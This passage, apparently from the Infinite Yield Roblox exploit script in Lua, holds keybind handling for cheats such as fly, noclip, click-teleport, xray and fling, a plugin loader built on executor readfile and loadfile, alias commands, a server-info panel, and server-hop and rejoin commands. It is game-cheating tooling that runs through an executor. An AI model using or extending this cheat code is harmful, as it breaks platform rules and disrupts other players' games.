  4833. execCmd('removealias '..aliases[i].ALIAS)
  4834. end)
  4835. end
  4836. end
  4837. end
  4838.  
  4839. BindTo.MouseButton1Click:Connect(function()
  4840. awaitingInput = true
  4841. BindTo.Text = 'Press something'
  4842. end)
  4843.  
  4844. Add_2.MouseButton1Click:Connect(function()
  4845. if keySelected then
  4846. if string.find(Cmdbar_2.Text, "\\\\") then
  4847. notify('Keybind Error','Only use one backslash to keybind multiple commands into one keybind or command')
  4848. else
  4849. addbind(Cmdbar_2.Text,keyPressed)
  4850. refreshbinds()
  4851. updatesaves()
  4852. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4853. notify('Keybinds Updated','Binded '..keyPressed..' to '..Cmdbar_2.Text)
  4854. else
  4855. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to '..Cmdbar_2.Text)
  4856. end
  4857. end
  4858. end
  4859. end)
  4860.  
  4861. Exit_2.MouseButton1Click:Connect(function()
  4862. Cmdbar_2.Text = 'Command'
  4863. BindTo.Text = 'Click to bind'
  4864. keySelected = false
  4865. KeybindEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  4866. end)
  4867.  
  4868. function onInputBegan(input,gameProcessed)
  4869. if awaitingInput then
  4870. if input.UserInputType == Enum.UserInputType.Keyboard then
  4871. keyPressed = tostring(input.KeyCode)
  4872. BindTo.Text = keyPressed:sub(14)
  4873. elseif input.UserInputType == Enum.UserInputType.MouseButton1 then
  4874. keyPressed = 'LeftClick'
  4875. BindTo.Text = 'LeftClick'
  4876. elseif input.UserInputType == Enum.UserInputType.MouseButton2 then
  4877. keyPressed = 'RightClick'
  4878. BindTo.Text = 'RightClick'
  4879. end
  4880. awaitingInput = false
  4881. keySelected = true
  4882. end
  4883. if not gameProcessed and #binds > 0 then
  4884. for i,v in pairs(binds)do
  4885. if input.UserInputType == Enum.UserInputType.Keyboard and v.KEY:lower()==tostring(input.KeyCode):lower() then
  4886. execCmd(v.COMMAND,Players.LocalPlayer)
  4887. elseif input.UserInputType == Enum.UserInputType.MouseButton1 and v.KEY:lower()=='leftclick' then
  4888. execCmd(v.COMMAND,Players.LocalPlayer)
  4889. elseif input.UserInputType == Enum.UserInputType.MouseButton2 and v.KEY:lower()=='rightclick' then
  4890. execCmd(v.COMMAND,Players.LocalPlayer)
  4891. end
  4892. end
  4893. end
  4894. end
  4895.  
  4896. UserInputService.InputBegan:connect(onInputBegan)
  4897.  
  4898. Fly.Select.MouseButton1Click:Connect(function()
  4899. if keySelected then
  4900. addbind('togglefly',keyPressed)
  4901. refreshbinds()
  4902. updatesaves()
  4903. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4904. notify('Keybinds Updated','Binded '..keyPressed..' to toggle fly')
  4905. else
  4906. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle fly')
  4907. end
  4908. end
  4909. end)
  4910.  
  4911. Noclip.Select.MouseButton1Click:Connect(function()
  4912. if keySelected then
  4913. addbind('togglenoclip',keyPressed)
  4914. refreshbinds()
  4915. updatesaves()
  4916. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4917. notify('Keybinds Updated','Binded '..keyPressed..' to toggle noclip')
  4918. else
  4919. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle noclip')
  4920. end
  4921. end
  4922. end)
  4923.  
  4924. Float.Select.MouseButton1Click:Connect(function()
  4925. if keySelected then
  4926. addbind('togglefloat',keyPressed)
  4927. refreshbinds()
  4928. updatesaves()
  4929. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4930. notify('Keybinds Updated','Binded '..keyPressed..' to toggle float')
  4931. else
  4932. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle float')
  4933. end
  4934. end
  4935. end)
  4936.  
  4937. ClickTP.Select.MouseButton1Click:Connect(function()
  4938. if keySelected then
  4939. addbind('clicktp',keyPressed)
  4940. refreshbinds()
  4941. updatesaves()
  4942. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4943. notify('Keybinds Updated','Binded '..keyPressed..' to click tp')
  4944. else
  4945. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click tp')
  4946. end
  4947. end
  4948. end)
  4949.  
  4950. ClickDelete.Select.MouseButton1Click:Connect(function()
  4951. if keySelected then
  4952. addbind('clickdel',keyPressed)
  4953. refreshbinds()
  4954. updatesaves()
  4955. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4956. notify('Keybinds Updated','Binded '..keyPressed..' to click delete')
  4957. else
  4958. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to click delete')
  4959. end
  4960. end
  4961. end)
  4962.  
  4963. Xray.Select.MouseButton1Click:Connect(function()
  4964. if keySelected then
  4965. addbind('togglexray',keyPressed)
  4966. refreshbinds()
  4967. updatesaves()
  4968. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4969. notify('Keybinds Updated','Binded '..keyPressed..' to toggle xray')
  4970. else
  4971. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle xray')
  4972. end
  4973. end
  4974. end)
  4975.  
  4976. Swim.Select.MouseButton1Click:Connect(function()
  4977. if keySelected then
  4978. addbind('toggleswim',keyPressed)
  4979. refreshbinds()
  4980. updatesaves()
  4981. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4982. notify('Keybinds Updated','Binded '..keyPressed..' to toggle swim')
  4983. else
  4984. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle swim')
  4985. end
  4986. end
  4987. end)
  4988.  
  4989. Fling.Select.MouseButton1Click:Connect(function()
  4990. if keySelected then
  4991. addbind('togglefling',keyPressed)
  4992. refreshbinds()
  4993. updatesaves()
  4994. if keyPressed == 'RightClick' or keyPressed == 'LeftClick' then
  4995. notify('Keybinds Updated','Binded '..keyPressed..' to toggle fling')
  4996. else
  4997. notify('Keybinds Updated','Binded '..keyPressed:sub(14)..' to toggle fling')
  4998. end
  4999. end
  5000. end)
  5001.  
  5002. IYMouse.Button1Down:connect(function()
  5003. for i,v in pairs(binds) do
  5004. if v.COMMAND == 'clicktp' then
  5005. local input = v.KEY
  5006. if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) and Players.LocalPlayer.Character then
  5007. pcall(function() Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0) end)
  5008. elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) and Players.LocalPlayer.Character then
  5009. pcall(function() Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0) end)
  5010. elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) and Players.LocalPlayer.Character then
  5011. pcall(function() Players.LocalPlayer.Character.HumanoidRootPart.CFrame = IYMouse.Hit + Vector3.new(0,7,0) end)
  5012. end
  5013. elseif v.COMMAND == 'clickdel' then
  5014. local input = v.KEY
  5015. if input == 'RightClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton2) then
  5016. pcall(function() IYMouse.Target:Destroy() end)
  5017. elseif input == 'LeftClick' and UserInputService:IsMouseButtonPressed(Enum.UserInputType.MouseButton1) then
  5018. pcall(function() IYMouse.Target:Destroy() end)
  5019. elseif UserInputService:IsKeyDown(Enum.KeyCode[input:sub(14)]) then
  5020. pcall(function() IYMouse.Target:Destroy() end)
  5021. end
  5022. end
  5023. end
  5024. end)
  5025.  
  5026. PluginsGUI = PluginEditor.background
  5027.  
  5028. function addPlugin(name)
  5029. if name:lower() == 'plugin file name' or name:lower() == 'iy_fe.iy' or name == 'iy_fe' then
  5030. notify('Plugin Error','Please enter a valid plugin')
  5031. else
  5032. local file
  5033. local fileName
  5034. if name:sub(-3) == '.iy' then
  5035. pcall(function() file = readfile(name) end)
  5036. fileName = name
  5037. else
  5038. pcall(function() file = readfile(name..'.iy') end)
  5039. fileName = name..'.iy'
  5040. end
  5041. if file then
  5042. if not FindInTable(PluginsTable, fileName) then
  5043. table.insert(PluginsTable, fileName)
  5044. LoadPlugin(fileName)
  5045. refreshplugins()
  5046. else
  5047. notify('Plugin Error','This plugin is already added')
  5048. end
  5049. else
  5050. notify('Plugin Error','Cannot locate file "'..fileName..'". Is the file in the correct folder?')
  5051. end
  5052. end
  5053. end
  5054.  
  5055. function deletePlugin(name)
  5056. local pName = name..'.iy'
  5057. if name:sub(-3) == '.iy' then
  5058. pName = name
  5059. end
  5060. for i = #cmds,1,-1 do
  5061. if cmds[i].PLUGIN == pName then
  5062. table.remove(cmds, i)
  5063. end
  5064. end
  5065. for i,v in pairs(Holder.CMDs:GetChildren()) do
  5066. if v.Name == 'PLUGIN_'..pName then
  5067. v:Destroy()
  5068. end
  5069. end
  5070. for i,v in pairs(PluginsTable) do
  5071. if v == pName then
  5072. table.remove(PluginsTable, i)
  5073. notify('Removed Plugin',pName..' was removed')
  5074. end
  5075. end
  5076. IndexContents('',true)
  5077. refreshplugins()
  5078. end
  5079.  
  5080. function refreshplugins(dontSave)
  5081. if #PluginsTable > 0 then
  5082. PluginsHint:Destroy()
  5083. end
  5084. if Holder_5 then
  5085. Holder_5:ClearAllChildren()
  5086. Holder_5.CanvasSize = UDim2.new(0, 0, 0, 10)
  5087. for i,v in pairs(PluginsTable) do
  5088. local pName = v
  5089. local YSize = 25
  5090. local Position = ((i * YSize) - YSize)
  5091. local newplugin = Example_5:Clone()
  5092. newplugin.Parent = Holder_5
  5093. newplugin.Visible = true
  5094. newplugin.Position = UDim2.new(0,0,0, Position + 5)
  5095. newplugin.Text.Text = pName
  5096. table.insert(shade2,newplugin)
  5097. table.insert(shade2,newplugin.Text)
  5098. table.insert(text1,newplugin.Text)
  5099. table.insert(shade3,newplugin.Text.Delete)
  5100. table.insert(text2,newplugin.Text.Delete)
  5101. Holder_5.CanvasSize = UDim2.new(0,0,0, Position + 30)
  5102. newplugin.Text.Delete.MouseButton1Click:Connect(function()
  5103. deletePlugin(pName)
  5104. end)
  5105. end
  5106. if not dontSave then
  5107. updatesaves()
  5108. end
  5109. end
  5110. end
  5111.  
  5112. local PluginCache
  5113. function LoadPlugin(val,startup)
  5114. local plugin
  5115.  
  5116. function CatchedPluginLoad()
  5117. plugin = loadfile(val)()
  5118. end
  5119.  
  5120. function handlePluginError(plerror)
  5121. notify('Plugin Error','An error occurred with the plugin, "'..val..'" and it could not be loaded')
  5122. if FindInTable(PluginsTable,val) then
  5123. for i,v in pairs(PluginsTable) do
  5124. if v == val then
  5125. table.remove(PluginsTable,i)
  5126. end
  5127. end
  5128. end
  5129.  
  5130. print("Original Error: "..tostring(plerror))
  5131. print("Plugin Error, stack traceback: "..tostring(debug.traceback()))
  5132.  
  5133. plugin = nil
  5134.  
  5135. return false
  5136. end
  5137.  
  5138. xpcall(CatchedPluginLoad, handlePluginError)
  5139.  
  5140. if plugin ~= nil then
  5141. if not startup then
  5142. notify('Loaded Plugin',"Name: "..plugin["PluginName"].."\n".."Description: "..plugin["PluginDescription"])
  5143. end
  5144. addcmdtext('',val)
  5145. addcmdtext(string.upper('--'..plugin["PluginName"]),val,plugin["PluginDescription"])
  5146. for i,v in pairs(plugin["Commands"]) do
  5147. local cmdExt = ''
  5148. local cmdName = i
  5149. local function handleNames()
  5150. cmdName = i
  5151. if findCmd(cmdName..cmdExt) then
  5152. if isNumber(cmdExt) then
  5153. cmdExt = cmdExt+1
  5154. else
  5155. cmdExt = 1
  5156. end
  5157. handleNames()
  5158. else
  5159. cmdName = cmdName..cmdExt
  5160. end
  5161. end
  5162. handleNames()
  5163. addcmd(cmdName, v["Aliases"], v["Function"], val)
  5164. if v["ListName"] then
  5165. local newName = v.ListName
  5166. local cmdNames = {i,unpack(v.Aliases)}
  5167. for i,v in pairs(cmdNames) do
  5168. newName = newName:gsub(v,v..cmdExt)
  5169. end
  5170. addcmdtext(newName,val,v["Description"])
  5171. else
  5172. addcmdtext(cmdName,val,v["Description"])
  5173. end
  5174. end
  5175. IndexContents('',true)
  5176. elseif plugin == nil then
  5177. plugin = nil
  5178. end
  5179. end
  5180.  
  5181. function FindPlugins()
  5182. if PluginsTable ~= nil and type(PluginsTable) == "table" then
  5183. for i,v in pairs(PluginsTable) do
  5184. LoadPlugin(v,true)
  5185. end
  5186. refreshplugins(true)
  5187. end
  5188. end
  5189.  
  5190. PluginsGUI.AddPlugin.MouseButton1Click:connect(function()
  5191. addPlugin(PluginsGUI.FileName.Text)
  5192. end)
  5193.  
  5194. Exit_3.MouseButton1Click:connect(function()
  5195. PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, -400), "InOut", "Quart", 0.5, true, nil)
  5196. PluginsGUI.FileName.Text = 'Plugin File Name'
  5197. end)
  5198.  
  5199. PluginsFrame.Add.MouseButton1Click:Connect(function()
  5200. PluginEditor:TweenPosition(UDim2.new(0.5, -180, 0, 310), "InOut", "Quart", 0.5, true, nil)
  5201. end)
  5202.  
  5203. Settings.Plugins.Select.MouseButton1Click:Connect(function()
  5204. if writefileExploit() then
  5205. PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 0), "InOut", "Quart", 0.5, true, nil)
  5206. wait(0.5)
  5207. disablebuttons()
  5208. else
  5209. notify('Incompatible Exploit','Your exploit is unable to use plugins (missing read/writefile)')
  5210. end
  5211. end)
  5212.  
  5213. PluginsFrame.Close.MouseButton1Click:Connect(function()
  5214. enablebuttons()
  5215. PluginsFrame:TweenPosition(UDim2.new(0, 0, 0, 175), "InOut", "Quart", 0.5, true, nil)
  5216. end)
  5217.  
  5218. addcmd('addalias',{},
  5219. function(args, speaker)
  5220. if #args < 2 then return end
  5221. local cmd = string.lower(args[1])
  5222. local alias = string.lower(args[2])
  5223. for i,v in pairs(cmds) do
  5224. if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
  5225. customAlias[alias] = v
  5226. aliases[#aliases + 1] = {CMD = cmd, ALIAS = alias}
  5227. notify('Aliases Modified',"Added "..alias.." as an alias to "..cmd)
  5228. updatesaves()
  5229. refreshaliases()
  5230. break
  5231. end
  5232. end
  5233. end)
  5234.  
  5235. addcmd('loadsavedaliases',{},
  5236. function(args, speaker)
  5237. if #args < 2 then return end
  5238. local cmd = string.lower(args[1])
  5239. local alias = string.lower(args[2])
  5240. for i,v in pairs(cmds) do
  5241. if v.NAME:lower()==cmd or std.inTable(v.ALIAS,cmd) then
  5242. customAlias[alias] = v
  5243. refreshaliases()
  5244. break
  5245. end
  5246. end
  5247. end)
  5248.  
  5249. if aliases then
  5250. for i = 1, #aliases do
  5251. execCmd('loadsavedaliases '..aliases[i].CMD..' '..aliases[i].ALIAS)
  5252. end
  5253. end
  5254.  
  5255. addcmd('removealias',{},
  5256. function(args, speaker)
  5257. if #args < 1 then return end
  5258. local alias = string.lower(args[1])
  5259. if customAlias[alias] then
  5260. local cmd = customAlias[alias].NAME
  5261. customAlias[alias] = nil
  5262. for i,v in pairs(aliases) do
  5263. if v.ALIAS == tostring(alias) then
  5264. table.remove(aliases, i)
  5265. end
  5266. end
  5267. notify('Aliases Modified',"Removed the alias "..alias.." from "..cmd)
  5268. updatesaves()
  5269. refreshaliases()
  5270. end
  5271. end)
  5272.  
  5273. addcmd('clraliases',{},
  5274. function(args, speaker)
  5275. customAlias = {}
  5276. aliases = {}
  5277. notify('Aliases Modified','Removed all aliases')
  5278. updatesaves()
  5279. refreshaliases()
  5280. end)
  5281.  
  5282. addcmd('serverinfo',{'info','sinfo'},
  5283. function(args, speaker)
  5284. local FRAME = Instance.new("Frame")
  5285. local shadow = Instance.new("Frame")
  5286. local PopupText = Instance.new("TextLabel")
  5287. local Exit = Instance.new("ImageButton")
  5288. local background = Instance.new("Frame")
  5289. local TextLabel = Instance.new("TextLabel")
  5290. local TextLabel2 = Instance.new("TextLabel")
  5291. local TextLabel3 = Instance.new("TextLabel")
  5292. local Time = Instance.new("TextLabel")
  5293. local appearance = Instance.new("TextLabel")
  5294. local maxplayers = Instance.new("TextLabel")
  5295. local name = Instance.new("TextLabel")
  5296. local placeid = Instance.new("TextLabel")
  5297. local playerid = Instance.new("TextLabel")
  5298. local players = Instance.new("TextLabel")
  5299. local CopyApp = Instance.new("TextButton")
  5300. local CopyPlrID = Instance.new("TextButton")
  5301. local CopyPlcID = Instance.new("TextButton")
  5302.  
  5303. FRAME.Name = randomString()
  5304. FRAME.Parent = PARENT
  5305. FRAME.Active = true
  5306. FRAME.BackgroundTransparency = 1
  5307. FRAME.Position = UDim2.new(0.5, -130, 0, -400)
  5308. FRAME.Size = UDim2.new(0, 250, 0, 20)
  5309. FRAME.ZIndex = 10
  5310. dragGUI(FRAME)
  5311.  
  5312. shadow.Name = "shadow"
  5313. shadow.Parent = FRAME
  5314. shadow.BackgroundColor3 = currentShade2
  5315. shadow.BorderSizePixel = 0
  5316. shadow.Size = UDim2.new(0, 250, 0, 20)
  5317. shadow.ZIndex = 10
  5318. table.insert(shade2,shadow)
  5319.  
  5320. PopupText.Name = "PopupText"
  5321. PopupText.Parent = shadow
  5322. PopupText.BackgroundTransparency = 1
  5323. PopupText.Position = UDim2.new(0, 38, 0, 0)
  5324. PopupText.Size = UDim2.new(0.760355055, -16, 0.949999988, 0)
  5325. PopupText.ZIndex = 10
  5326. PopupText.Font = Enum.Font.SourceSans
  5327. PopupText.TextSize = 14
  5328. PopupText.Text = "Server"
  5329. PopupText.TextColor3 = currentText1
  5330. PopupText.TextWrapped = true
  5331. table.insert(text1,PopupText)
  5332.  
  5333. Exit.Name = "Exit"
  5334. Exit.Parent = shadow
  5335. Exit.BackgroundTransparency = 1
  5336. Exit.Size = UDim2.new(0, 20, 0, 20)
  5337. Exit.ZIndex = 10
  5338. Exit.Image = "rbxassetid://2132544126"
  5339.  
  5340. background.Name = "background"
  5341. background.Parent = FRAME
  5342. background.Active = true
  5343. background.BackgroundColor3 = currentShade1
  5344. background.BorderSizePixel = 0
  5345. background.Position = UDim2.new(0, 0, 1, 0)
  5346. background.Size = UDim2.new(0, 250, 0, 250)
  5347. background.ZIndex = 10
  5348. table.insert(shade1,background)
  5349.  
  5350. TextLabel.Name = "Text Label"
  5351. TextLabel.Parent = background
  5352. TextLabel.BackgroundTransparency = 1
  5353. TextLabel.BorderSizePixel = 0
  5354. TextLabel.Position = UDim2.new(0, 5, 0, 80)
  5355. TextLabel.Size = UDim2.new(0, 100, 0, 20)
  5356. TextLabel.ZIndex = 10
  5357. TextLabel.Font = Enum.Font.SourceSansLight
  5358. TextLabel.TextSize = 20
  5359. TextLabel.Text = "Run Time:"
  5360. TextLabel.TextColor3 = currentText1
  5361. TextLabel.TextXAlignment = Enum.TextXAlignment.Left
  5362. table.insert(text1,TextLabel)
  5363.  
  5364. TextLabel2.Name = "Text Label2"
  5365. TextLabel2.Parent = background
  5366. TextLabel2.BackgroundTransparency = 1
  5367. TextLabel2.BorderSizePixel = 0
  5368. TextLabel2.Position = UDim2.new(0, 5, 0, 130)
  5369. TextLabel2.Size = UDim2.new(0, 100, 0, 20)
  5370. TextLabel2.ZIndex = 10
  5371. TextLabel2.Font = Enum.Font.SourceSansLight
  5372. TextLabel2.TextSize = 20
  5373. TextLabel2.Text = "Statistics:"
  5374. TextLabel2.TextColor3 = currentText1
  5375. TextLabel2.TextXAlignment = Enum.TextXAlignment.Left
  5376. table.insert(text1,TextLabel2)
  5377.  
  5378. TextLabel3.Name = "Text Label3"
  5379. TextLabel3.Parent = background
  5380. TextLabel3.BackgroundTransparency = 1
  5381. TextLabel3.BorderSizePixel = 0
  5382. TextLabel3.Position = UDim2.new(0, 5, 0, 10)
  5383. TextLabel3.Size = UDim2.new(0, 100, 0, 20)
  5384. TextLabel3.ZIndex = 10
  5385. TextLabel3.Font = Enum.Font.SourceSansLight
  5386. TextLabel3.TextSize = 20
  5387. TextLabel3.Text = "Local Player:"
  5388. TextLabel3.TextColor3 = currentText1
  5389. TextLabel3.TextXAlignment = Enum.TextXAlignment.Left
  5390. table.insert(text1,TextLabel3)
  5391.  
  5392. Time.Name = "Time"
  5393. Time.Parent = background
  5394. Time.BackgroundTransparency = 1
  5395. Time.BorderSizePixel = 0
  5396. Time.Position = UDim2.new(0, 5, 0, 105)
  5397. Time.Size = UDim2.new(0, 100, 0, 20)
  5398. Time.ZIndex = 10
  5399. Time.Font = Enum.Font.SourceSans
  5400. Time.FontSize = Enum.FontSize.Size14
  5401. Time.Text = "LOADING"
  5402. Time.TextColor3 = currentText1
  5403. Time.TextXAlignment = Enum.TextXAlignment.Left
  5404. table.insert(text1,Time)
  5405.  
  5406. appearance.Name = "appearance"
  5407. appearance.Parent = background
  5408. appearance.BackgroundTransparency = 1
  5409. appearance.BorderSizePixel = 0
  5410. appearance.Position = UDim2.new(0, 5, 0, 55)
  5411. appearance.Size = UDim2.new(0, 100, 0, 20)
  5412. appearance.ZIndex = 10
  5413. appearance.Font = Enum.Font.SourceSans
  5414. appearance.FontSize = Enum.FontSize.Size14
  5415. appearance.Text = "Appearance: LOADING"
  5416. appearance.TextColor3 = currentText1
  5417. appearance.TextXAlignment = Enum.TextXAlignment.Left
  5418. table.insert(text1,appearance)
  5419.  
  5420. maxplayers.Name = "maxplayers"
  5421. maxplayers.Parent = background
  5422. maxplayers.BackgroundTransparency = 1
  5423. maxplayers.BorderSizePixel = 0
  5424. maxplayers.Position = UDim2.new(0, 5, 0, 175)
  5425. maxplayers.Size = UDim2.new(0, 100, 0, 20)
  5426. maxplayers.ZIndex = 10
  5427. maxplayers.Font = Enum.Font.SourceSans
  5428. maxplayers.FontSize = Enum.FontSize.Size14
  5429. maxplayers.Text = "LOADING"
  5430. maxplayers.TextColor3 = currentText1
  5431. maxplayers.TextXAlignment = Enum.TextXAlignment.Left
  5432. table.insert(text1,maxplayers)
  5433.  
  5434. name.Name = "name"
  5435. name.Parent = background
  5436. name.BackgroundTransparency = 1
  5437. name.BorderSizePixel = 0
  5438. name.Position = UDim2.new(0, 5, 0, 215)
  5439. name.Size = UDim2.new(0, 240, 0, 30)
  5440. name.ZIndex = 10
  5441. name.Font = Enum.Font.SourceSans
  5442. name.FontSize = Enum.FontSize.Size14
  5443. name.Text = "Place Name: LOADING"
  5444. name.TextColor3 = currentText1
  5445. name.TextWrapped = true
  5446. name.TextXAlignment = Enum.TextXAlignment.Left
  5447. name.TextYAlignment = Enum.TextYAlignment.Top
  5448. table.insert(text1,name)
  5449.  
  5450. placeid.Name = "placeid"
  5451. placeid.Parent = background
  5452. placeid.BackgroundTransparency = 1
  5453. placeid.BorderSizePixel = 0
  5454. placeid.Position = UDim2.new(0, 5, 0, 195)
  5455. placeid.Size = UDim2.new(0, 100, 0, 20)
  5456. placeid.ZIndex = 10
  5457. placeid.Font = Enum.Font.SourceSans
  5458. placeid.FontSize = Enum.FontSize.Size14
  5459. placeid.Text = "Place ID: LOADING"
  5460. placeid.TextColor3 = currentText1
  5461. placeid.TextXAlignment = Enum.TextXAlignment.Left
  5462. table.insert(text1,placeid)
  5463.  
  5464. playerid.Name = "playerid"
  5465. playerid.Parent = background
  5466. playerid.BackgroundTransparency = 1
  5467. playerid.BorderSizePixel = 0
  5468. playerid.Position = UDim2.new(0, 5, 0, 35)
  5469. playerid.Size = UDim2.new(0, 100, 0, 20)
  5470. playerid.ZIndex = 10
  5471. playerid.Font = Enum.Font.SourceSans
  5472. playerid.FontSize = Enum.FontSize.Size14
  5473. playerid.Text = "Player ID: LOADING"
  5474. playerid.TextColor3 = currentText1
  5475. playerid.TextXAlignment = Enum.TextXAlignment.Left
  5476. table.insert(text1,playerid)
  5477.  
  5478. players.Name = "players"
  5479. players.Parent = background
  5480. players.BackgroundTransparency = 1
  5481. players.BorderSizePixel = 0
  5482. players.Position = UDim2.new(0, 5, 0, 155)
  5483. players.Size = UDim2.new(0, 100, 0, 20)
  5484. players.ZIndex = 10
  5485. players.Font = Enum.Font.SourceSans
  5486. players.FontSize = Enum.FontSize.Size14
  5487. players.Text = "LOADING"
  5488. players.TextColor3 = currentText1
  5489. players.TextXAlignment = Enum.TextXAlignment.Left
  5490. table.insert(text1,players)
  5491.  
  5492. CopyApp.Name = "CopyApp"
  5493. CopyApp.Parent = background
  5494. CopyApp.BackgroundColor3 = currentShade2
  5495. CopyApp.BorderSizePixel = 0
  5496. CopyApp.Position = UDim2.new(0, 210, 0, 55)
  5497. CopyApp.Size = UDim2.new(0, 35, 0, 20)
  5498. CopyApp.Font = Enum.Font.SourceSans
  5499. CopyApp.TextSize = 14
  5500. CopyApp.Text = "Copy"
  5501. CopyApp.TextColor3 = currentText1
  5502. CopyApp.ZIndex = 10
  5503. table.insert(shade2,CopyApp)
  5504. table.insert(text1,CopyApp)
  5505.  
  5506. CopyPlrID.Name = "CopyPlrID"
  5507. CopyPlrID.Parent = background
  5508. CopyPlrID.BackgroundColor3 = currentShade2
  5509. CopyPlrID.BorderSizePixel = 0
  5510. CopyPlrID.Position = UDim2.new(0, 210, 0, 35)
  5511. CopyPlrID.Size = UDim2.new(0, 35, 0, 20)
  5512. CopyPlrID.Font = Enum.Font.SourceSans
  5513. CopyPlrID.TextSize = 14
  5514. CopyPlrID.Text = "Copy"
  5515. CopyPlrID.TextColor3 = currentText1
  5516. CopyPlrID.ZIndex = 10
  5517. table.insert(shade2,CopyPlrID)
  5518. table.insert(text1,CopyPlrID)
  5519.  
  5520. CopyPlcID.Name = "CopyPlcID"
  5521. CopyPlcID.Parent = background
  5522. CopyPlcID.BackgroundColor3 = currentShade2
  5523. CopyPlcID.BorderSizePixel = 0
  5524. CopyPlcID.Position = UDim2.new(0, 210, 0, 195)
  5525. CopyPlcID.Size = UDim2.new(0, 35, 0, 20)
  5526. CopyPlcID.Font = Enum.Font.SourceSans
  5527. CopyPlcID.TextSize = 14
  5528. CopyPlcID.Text = "Copy"
  5529. CopyPlcID.TextColor3 = currentText1
  5530. CopyPlcID.ZIndex = 10
  5531. table.insert(shade2,CopyPlcID)
  5532. table.insert(text1,CopyPlcID)
  5533.  
  5534. local SINFOGUI = background
  5535. FRAME:TweenPosition(UDim2.new(0.5, -130, 0, 100), "InOut", "Quart", 0.5, true, nil)
  5536. wait(0.5)
  5537. Exit.MouseButton1Click:Connect(function()
  5538. FRAME:TweenPosition(UDim2.new(0.5, -130, 0, -400), "InOut", "Quart", 0.5, true, nil)
  5539. wait(0.6)
  5540. FRAME:Destroy()
  5541. end)
  5542. local Asset = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
  5543. SINFOGUI.name.Text = "Place Name: " .. Asset.Name
  5544. SINFOGUI.playerid.Text = "Player ID: " ..speaker.UserId
  5545. SINFOGUI.maxplayers.Text = Players.MaxPlayers.. " Players Max"
  5546. SINFOGUI.placeid.Text = "Place ID: " ..game.PlaceId
  5547.  
  5548. CopyApp.MouseButton1Click:Connect(function()
  5549. toClipboard(speaker.CharacterAppearanceId)
  5550. end)
  5551. CopyPlrID.MouseButton1Click:Connect(function()
  5552. toClipboard(speaker.UserId)
  5553. end)
  5554. CopyPlcID.MouseButton1Click:Connect(function()
  5555. toClipboard(game.PlaceId)
  5556. end)
  5557.  
  5558. repeat
  5559. players = Players:getPlayers()
  5560. SINFOGUI.players.Text = #players.. " Player(s)"
  5561. SINFOGUI.appearance.Text = "Appearance: " ..speaker.CharacterAppearanceId
  5562. local seconds = math.floor(workspace.DistributedGameTime)
  5563. local minutes = math.floor(workspace.DistributedGameTime / 60)
  5564. local hours = math.floor(workspace.DistributedGameTime / 60 / 60)
  5565. local seconds = seconds - (minutes * 60)
  5566. local minutes = minutes - (hours * 60)
  5567. if hours < 1 then if minutes < 1 then
  5568. SINFOGUI.Time.Text = seconds .. " Second(s)" else
  5569. SINFOGUI.Time.Text = minutes .. " Minute(s), " .. seconds .. " Second(s)"
  5570. end
  5571. else
  5572. SINFOGUI.Time.Text = hours .. " Hour(s), " .. minutes .. " Minute(s), " .. seconds .. " Second(s)"
  5573. end
  5574. wait(1)
  5575. until SINFOGUI.Parent == nil
  5576. end)
  5577.  
  5578. addcmd('breakloops',{'break'},
  5579. function(args, speaker)
  5580. lastBreakTime = tick()
  5581. end)
  5582.  
  5583. addcmd('gametp',{'gameteleport'},
  5584. function(args, speaker)
  5585. game:GetService('TeleportService'):Teleport(args[1])
  5586. end)
  5587.  
  5588. addcmd('rejoin',{'rj'},
  5589. function(args, speaker)
  5590. game:GetService('TeleportService'):Teleport(game.PlaceId)
  5591. end)
  5592.  
  5593. addcmd('serverhop',{'shop'},
  5594. function(args, speaker)
  5595. local PlaceId = game.PlaceId
  5596. local URL = ("https://www.roblox.com/games/getgameinstancesjson?placeId=%s&startindex="):format(PlaceId)
  5597.  
  5598. local List = {}
  5599.  
  5600. for page = 0, 30 do
  5601. local Query = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL..page))
  5602.  
  5603. for i,v in next, Query.Collection do
  5604. List[v.Guid] = v.Ping
  5605. end
  5606. end
  5607.  
  5608. local ChosenServer = game.JobId
  5609.  
  5610. for i,v in pairs(List) do
  5611. if i ~= game.JobId then
  5612. ChosenServer = i
  5613. break
  5614. end
  5615. end
  5616.  
  5617. game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceId,ChosenServer,speaker)
  5618. end)
  5619.  
  5620. addcmd('joinplayer',{'joinp'},
  5621. function(args, speaker)
  5622. local retries = 0
  5623. local gameID = game.PlaceId
  5624. if args[2] then
  5625. gameID = args[2]
  5626. end
  5627. function ToServer(User,PlaceId)
  5628. if not pcall(function()
  5629. local FoundUser, UserId = pcall(function()
  5630. if tonumber(User) then
  5631. return tonumber(User)
  5632. end
  5633.  
  5634. return game:GetService("Players"):GetUserIdFromNameAsync(User)
